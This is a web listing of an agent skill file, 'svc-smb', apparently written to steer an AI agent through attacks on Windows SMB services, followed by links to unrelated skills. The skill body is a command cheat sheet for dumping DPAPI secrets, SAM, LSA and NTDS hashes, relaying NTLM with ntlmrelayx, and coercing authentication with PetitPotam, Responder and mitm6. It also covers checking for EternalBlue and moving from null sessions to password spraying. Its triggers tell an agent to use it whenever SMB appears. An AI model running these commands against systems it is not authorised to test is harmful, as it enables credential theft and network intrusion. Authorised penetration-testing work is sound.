svc-smb
SMB gotchas — DPAPI dump trap, relay when signing disabled, credential dump order. Use when SMB is found. Triggers - ports 445/139, signing:False, null session, EternalBlue MS17-010, PetitPotam.
- License 许可
- MIT
- 最近更新
- 2026-10-08
- Stars
- ★ 11
- Forks
- 3
01 前言 Front Matter
- name
- svc-smb
- description
- SMB gotchas — DPAPI dump trap, relay when signing disabled, credential dump order. Use when SMB is found. Triggers - ports 445/139, signing:False, null session, EternalBlue MS17-010, PetitPotam.
03 SKILL.md 正文
SMB — Gotchas & Attack Chains
DPAPI dump trap
netexec smb HOST -u USER -p PASS --dpapi bare = FULL dump (browser passwords, vault, cookies, Credential Manager).
Adding subcommands (cookies, nosystem, wifi) LIMITS output. Always bare --dpapi first.
Credential dump order (with local admin)
Run ALL, in order — each gets different secrets:
--sam— local hashes--lsa— service passwords, cached domain creds--dpapi— user secrets (browser, vault, Credential Manager)--ntds— DC only, all domain hashes Fallback:secretsdump.py DOMAIN/USER:PASS@HOST
SMB relay (signing disabled)
Check: netexec smb TARGET → if "signing: False" → relay is possible.
Generate target list: netexec smb SUBNET --gen-relay-list relay.txt
Relay: impacket-ntlmrelayx -tf relay.txt -smb2support
Trigger auth: Responder, mitm6, PetitPotam, PrinterBug.
EternalBlue (MS17-010)
Windows 7 / Server 2008 R2 / Server 2012 (unpatched). Confirm: nmap --script smb-vuln-ms17-010 -p 445 TARGET.
Null session → spray chain
enum4linux-ng -A TARGET, rpcclient -U '' -N TARGET -c 'enumdomusers'.
If null session works → user list → AS-REP roast / password spray.
04 同仓库更多 Skills
obsidian-clipper-template-creator
Guide for creating templates for the Obsidian Web Clipper. Use when you want to create a new clipping template, understand available variables, or format clipped content.
obsidian-clipper-template-creator
Guide for creating templates for the Obsidian Web Clipper. Use when you want to create a new clipping template, understand available variables, or format clipped content.
python-api
Programmatic Object-Detection-Metrics API guidance for BoundingBox, BoundingBoxes, Evaluator, enums, coordinate conversion, AP/mAP semantics, and source-style import diagnostics.
file-evaluation
Folder-based PASCAL VOC AP/mAP evaluation from ground-truth and detection text files.
object-detection-metrics
Guides legacy Object-Detection-Metrics PASCAL VOC AP/mAP evaluation from detection text folders and direct Python API classes.
nx-workspace-patterns
Configure and optimize Nx monorepo workspaces. Use when setting up Nx, configuring project boundaries, optimizing build caching, or implementing affected commands.